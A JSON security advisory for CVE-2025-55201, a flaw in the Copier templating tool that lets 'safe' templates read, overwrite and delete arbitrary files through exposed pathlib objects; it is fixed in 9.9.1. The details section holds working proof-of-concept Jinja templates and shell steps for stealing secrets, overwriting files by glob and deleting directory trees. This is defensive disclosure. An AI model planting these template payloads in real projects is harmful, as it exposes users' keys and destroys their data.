CVE-2025-55201: Copier Copier's Safe Template Has Arbitrary Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3xw7-v6cj-5q8h",
  "modified" : "2025-08-18T21:00:23Z",
  "published" : "2025-08-18T21:00:23Z",
  "aliases" : [ "CVE-2025-55201" ],
  "summary" : "Copier's safe template has arbitrary filesystem read/write access",
  "details" : "### Impact\n\nCopier's current security model shall restrict filesystem access through Jinja:\n\n- Files can only be read using `{% include ... %}`, which is limited by Jinja to reading files from the subtree of the local template clone in our case.\n- Files are written in the destination directory according to their counterparts in the template.\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few `pathlib.Path` objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.\n\n#### Arbitrary read access\n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps \"masks\" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like [github.com](http://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Read known file:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    echo \"stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}\" > src/stolen-secret.txt.jinja\n    uvx copier copy src/ dst/\n    cat dst/stolen-secret.txt\n    ```\n\n- Read unknown file(s) via globbing:\n\n    ```shell\n    mkdir secrets/\n    echo \"s3cr3t #1\" > secrets/secret1.txt\n    echo \"s3cr3t #2\" > secrets/secret2.txt\n    mkdir src/\n    cat <<'EOF' > src/stolen-secrets.txt.jinja\n    stolen secrets:\n    {% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}\n    {% for f in parent.glob('*.txt') %}\n    {{ f }}: {{ f.read_text('utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat dst/stolen-secrets.txt\n    ```\n\n#### Arbitrary write access\n\nImagine, e.g., a malicious template author who creates a template that overwrites or even deletes files to cause havoc.\n\nReproducible examples:\n\n- Overwrite known file:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    echo \"{{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().write_text('OVERWRITTEN', 'utf-8') }}\" > src/malicious.txt.jinja\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Overwrite unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.write_text('OVERWRITTEN', 'utf-8') }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown file(s) via globbing:\n\n    ```shell\n    echo \"s3cr3t\" > secret.txt\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..').resolve() %}\n    {% for f in (parent.glob('*.txt') | list) %}\n    {{ f.unlink() }}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    cat secret.txt\n    ```\n\n- Delete unknown files and directories via tree walking:\n\n    ```shell\n    mkdir data\n    mkdir data/a\n    mkdir data/a/b\n    echo \"foo\" > data/foo.txt\n    echo \"bar\" > data/a/bar.txt\n    echo \"baz\" > data/a/b/baz.txt\n    tree data/\n    mkdir src/\n    cat <<'EOF' > src/malicious.txt.jinja\n    {% set parent = (_copier_conf.dst_path / '..' / 'data').resolve() %}\n    {% for root, dirs, files in parent.walk(top_down=False) %}\n    {% for name in files %}\n    {{ (root / name).unlink() }}\n    {% endfor %}\n    {% for name in dirs %}\n    {{ (root / name).rmdir() }}\n    {% endfor %}\n    {% endfor %}\n    EOF\n    uvx copier copy src/ dst/\n    tree data/\n    ```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "copier"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.9.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/security/advisories/GHSA-3xw7-v6cj-5q8h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55201"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/commit/3feea3b3ff3c20d80cbb16a2f3b9567ffc5606d1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/copier-org/copier"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-18T21:00:23Z",
    "nvd_published_at" : "2025-08-18T17:15:29Z"
  }
}